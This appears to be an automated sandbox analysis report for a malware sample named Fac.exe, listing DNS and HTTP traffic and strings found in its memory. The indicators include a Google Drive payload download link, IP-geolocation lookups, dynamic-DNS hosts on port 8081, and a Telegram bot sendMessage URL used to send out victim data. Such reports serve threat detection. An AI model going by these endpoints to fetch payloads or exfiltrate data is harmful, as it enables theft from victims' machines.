Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: Fac.exe, 00000002.00000002.43474377171.0000000033F0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ","type":"MediaFoundationOptIn"},{"name":"OptOut","type":"MediaFoundationOptOut"}],"version":1},"web_notification_override":{"applications":[{"applied_policy":"prompt","domain":"www.reddit.com"},{"applied_policy":"prompt","domain":"www.telegraphindia.com"},{"applied_policy":"prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"prompt","domain":"pushengage.com"},{"applied_policy":"prompt","domain":"www.timesnownews.com"},{"applied_policy":"prompt","domain":"www.couponrani.com"},{"applied_policy":"prompt","domain":"www.wholesomeyum.com"},{"applied_policy":"prompt","domain":"www.asklaila.com"},{"applied_policy":"prompt","domain":"www.sammobile.com"},{"applied_policy":"prompt","domain":"www.ecuavisa.com"},{"applied_policy":"prompt","domain":"uz.sputniknews.ru"},{"applied_policy":"prompt","domain":"www.ndtv.com"},{"applied_policy":"prompt","domain":"www.elimparcial.com"},{"applied_policy":"prompt","domain":"www.povarenok.ru"},{"applied_policy":"prompt","domain":"www.estadao.com.br"},{"applied_policy":"prompt","domain":"olxpakistan.os.tc"},{"applied_policy":"prompt","domain":"televisa.com"},{"applied_policy":"prompt","domain":"uol.com.br"},{"applied_policy":"prompt","domain":"www.axisbank.com"},{"applied_policy":"prompt","domain":"mutualfund.adityabirlacapital.com"},{"applied_policy":"prompt","domain":"www.facebook.com"},{"applied_policy":"prompt","domain":"www.instagram.com"},{"applied_policy":"prompt","domain":"www.messenger.com"}],"policies":[{"name":"prompt","reason":"","type":"","value":""}],"version":1}},"fre":{"autoimport_spartan_visible_item_completed":true,"oem_bookmarks_set":true,"should_user_see_fre_banner":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default"},"hardware_acceleration_mode_previous":true,"is_dsp_recommended":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"Default":{"migration_attempt":0,"migration_version":4},"last_edgeuwp_pin_migration_on_edge_version":"94.0.992.31","last_edgeuwp_pin_migration_on_os_version":"10 Version 20H2 (Build 19042.1165)","last_edgeuwp_pin_migration_success":false},"network_primary_browser":{"browser_name_enum":1,"last_computed_time":"13276780388565220","network_usage":{"browser_with_highest_network_usage":1,"browsers_usage":{"1":100.0},"ie":0}},"network_time":{"network_time_mapping":{"local":1.691263997088662e+12,"network":1.691260396e+12,"ticks":126914944.0,"uncertainty":1220870.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAb7qWBj3YRSZSg2yN3JOzDEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAcjDYF/dB+Ehkggnbhv5UEmuk4qMrV300v/DxeYPr2kcAAAAADoAAAAACAAAgAAAA4Fc7bPPxg5D3HUrv9FeO3M8NoHE1hRCd1+t1vMyMeGIwAAAA60sl/pIpVYUn/pFhWuHqOweLytcqg8K9+apLINEdcjv+lt8eT+qH7hjP4LZPc65wQAAAABgU4kp6fr9r5p49VZoKZkZbDP1PXsAR/6XYDO+DikEUGEeRYwj0k5LNwmmr0tZ5hKexU3XBg6oVvPcKgnBt6go="},"policy":{"last_statistics_update":"13335737596278882"},"profile":{"info_cache":{"Default":{"active_time":1691263997.009407,"avatar_icon":"chrome://theme/IDR_PROFILE_AVATAR_20",
Source: global traffic DNS traffic detected: DNS query: drive.google.com
Source: global traffic DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 18 Nov 2024 13:53:33 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: Fac.exe, 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: Fac.exe, 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: Fac.exe, 00000002.00000002.43474377171.0000000033DEA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033DF8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: Fac.exe, 00000002.00000002.43474377171.0000000033DEA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033DF8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: Fac.exe, 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43463081751.000000000373A000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43463081751.000000000373A000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Fac.exe String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Fac.exe, 00000002.00000002.43474377171.0000000033DEA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033DF8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: Fac.exe, 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Fac.exe, 00000002.00000002.43474377171.0000000033C31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43463081751.000000000373A000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.quovadis.bm0
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram
Source: Fac.exe, 00000002.00000002.43474377171.0000000033CFC000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: Fac.exe, 00000002.00000002.43474377171.0000000033CFC000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: Fac.exe, 00000002.00000002.43474377171.0000000033CFC000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:855271%0D%0ADate%20a
Source: Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://apis.google.com
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://c2rsetup.officeapps.live.com/c2r/download.aspx?productReleaseID=HomeBusiness2019Retail&platf
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D5B000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D46000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D54000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B9AB9339B
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
Source: Fac.exe, 00000002.00000002.43463081751.00000000036C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/
Source: Fac.exe, 00000002.00000002.43463569337.0000000005190000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-
Source: Fac.exe, 00000002.00000002.43463081751.0000000003704000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-)
Source: Fac.exe, 00000002.00000002.43463081751.0000000003704000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/uc?export=download&id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-9
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43463081751.000000000373A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43463081751.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=download
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=download0T
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=downloadBT
Source: Fac.exe, 00000002.00000002.43463081751.00000000036C8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=downloada/
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drive.usercontent.google.com/download?id=1Agb6c2PBuU8CPrXOngOV7_bHJQ4DUnt-&export=downloadhT
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://eicar.org/
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E8D000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E81000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E8F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E8D000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com//
Source: Fac.exe, 00000002.00000002.43474377171.0000000033E8D000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/v104
Source: Fac.exe, 00000002.00000003.42495878855.0000000003740000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43463081751.000000000373A000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://packetstormsecurity.com/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://packetstormsecurity.com/files/22459/BIOS320.EXE.html
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://packetstormsecurity.com/files/download/22459/BIOS320.EXE
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp
Source: Fac.exe, 00000002.00000002.43474377171.0000000033DEA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033DF8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: Fac.exe, 00000002.00000002.43474377171.0000000033C7E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/191.96.150.191
Source: Fac.exe, 00000002.00000002.43474377171.0000000033DEA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033DF8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/191.96.150.191$
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DA8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FCA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.eicar.org/eicar.com
Source: Fac.exe, 00000002.00000002.43476613162.0000000034E38000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034DA8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FCA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034DC0000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034F94000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E86000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.eicar.org/eicar.com.txt
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DA8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FCA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.eicar.org/eicar.com.txt/
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.eicar.org/eicar.com.txtD
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DA8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FCA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.eicar.org/eicar.com/
Source: Fac.exe, 00000002.00000002.43476613162.0000000034E38000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034DC0000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034F94000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E86000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://secure.eicar.org/eicar.com;
Source: Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
Source: Fac.exe, 00000002.00000002.43474377171.0000000033F4A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43474377171.0000000033E8F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.eicar.org/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/
Source: Fac.exe, 00000002.00000002.43476613162.0000000034E38000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034DC0000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034F94000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E86000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/:
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DA8000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FCA000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/Download
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/
Source: Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FE2000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
Source: Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FE2000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrow
